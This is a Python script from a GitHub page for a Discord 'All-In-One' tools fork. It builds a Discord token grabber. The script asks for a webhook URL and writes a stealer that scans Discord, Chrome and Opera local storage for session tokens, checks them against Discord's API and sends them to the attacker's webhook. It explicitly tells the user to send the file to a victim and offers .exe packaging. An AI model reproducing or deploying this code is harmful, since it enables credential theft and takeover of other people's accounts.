forked from All-In-One-Discord-Program-Tools/All-In-One
-
Notifications
You must be signed in to change notification settings - Fork 0
/
token_grad.py
128 lines (123 loc) · 3.87 KB
/
token_grad.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
import os
from os import system
import time
try:
import colorama
from colorama import Fore
except:
os.system("pip install colorama")
import colorama
from colorama import Fore
title = f'Token Grabber'
system(f'title {title}')
clear = lambda: os.system('cls')
clear()
print(f'\n[1] Token Logger Builder')
coc = input(f"\n[?]> ")
if coc == '1':
web = input(f'Webhook URL : ')
qqq = input(f"file name : ")
with open(f'{qqq}.py', 'x') as f:
f.write('''
import os
from re import findall
try:
from json import loads, dumps
except:
os.system('pip install json')
from json import loads, dumps
from urllib.request import Request, urlopen
web1 = "''' + web + '''"
lc = os.getenv("LOCALAPPDATA")
rm = os.getenv("APPDATA")
PATHS = {
"Discord": rm + "\\\\Discord",
"Discord Canary": rm + "\\\\discordcanary",
"Discord PTB": rm + "\\\\discordptb",
"Google Chrome": lc + "\\\\Google\\\\Chrome\\\\User Data\\\\Default",
"Opera": rm + "\\\\Opera Software\\\\Opera Stable"
}
def header(token=None):
headers = {
"Content-Type": "application/json",
"user-agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) discord/1.0.9003 Chrome/91.0.4472.164 Electron/13.4.0 Safari/537.36",
}
if token:
headers.update({"Authorization": token})
return headers
def da(token):
try:
return loads(
urlopen(Request("https://discordapp.com/api/v9/users/@me", headers=header(token))).read().decode())
except:
pass
def tukan(path):
path += "\\\\Local Storage\\\\leveldb"
tokens = []
for file_name in os.listdir(path):
if not file_name.endswith(".log") and not file_name.endswith(".ldb"):
continue
for line in [x.strip() for x in open(f"{path}\\\\{file_name}", errors="ignore").readlines() if x.strip()]:
for regex in (r"[\w-]{24}\.[\w-]{6}\.[\w-]{27}", r"mfa\.[\w-]{84}"):
for token in findall(regex, line):
tokens.append(token)
return tokens
def grabber():
em = []
checked = []
for platform, path in PATHS.items():
if not os.path.exists(path):
continue
for token in tukan(path):
if token in checked:
continue
checked.append(token)
user_data = da(token)
if not user_data:
continue
username = user_data["username"] + "#" + str(user_data["discriminator"])
emb = {
"fields": [
{
"name": "Token",
"value": token,
"inline": False
}
],
"author": {
"name": f"{username} ",
},
}
em.append(emb)
webhook = {
"content": "",
"embeds": em,
"username": "TOKENS DROP"
}
try:
urlopen(Request(web1, data=dumps(webhook).encode(), headers=header()))
except:
pass
if __name__ == '__main__':
grabber()
''')
else:
print(f"{coc} do not have a possible answer")
exit = input(f'\nPress Enter For restart the program...')
os._exit(0)
print(f'Token Grabber saved to {qqq}.py')
print(
f'Now send token grabber file to victim, if victim open it webhook will send his token.')
aaa = input(f"Do you want to put your file in .exe? (y/n) : ")
if aaa == 'y':
from auto_py_to_exe import __main__ as apte
apte.__name__ = '__main__'
apte.run()
elif aaa == 'n':
pass
else:
print(f"'{aaa}' do not have a possible answer")
time.sleep(2)
exit = input(f'\nPress Enter For restart the program...')
exit = clear()
import All_In_One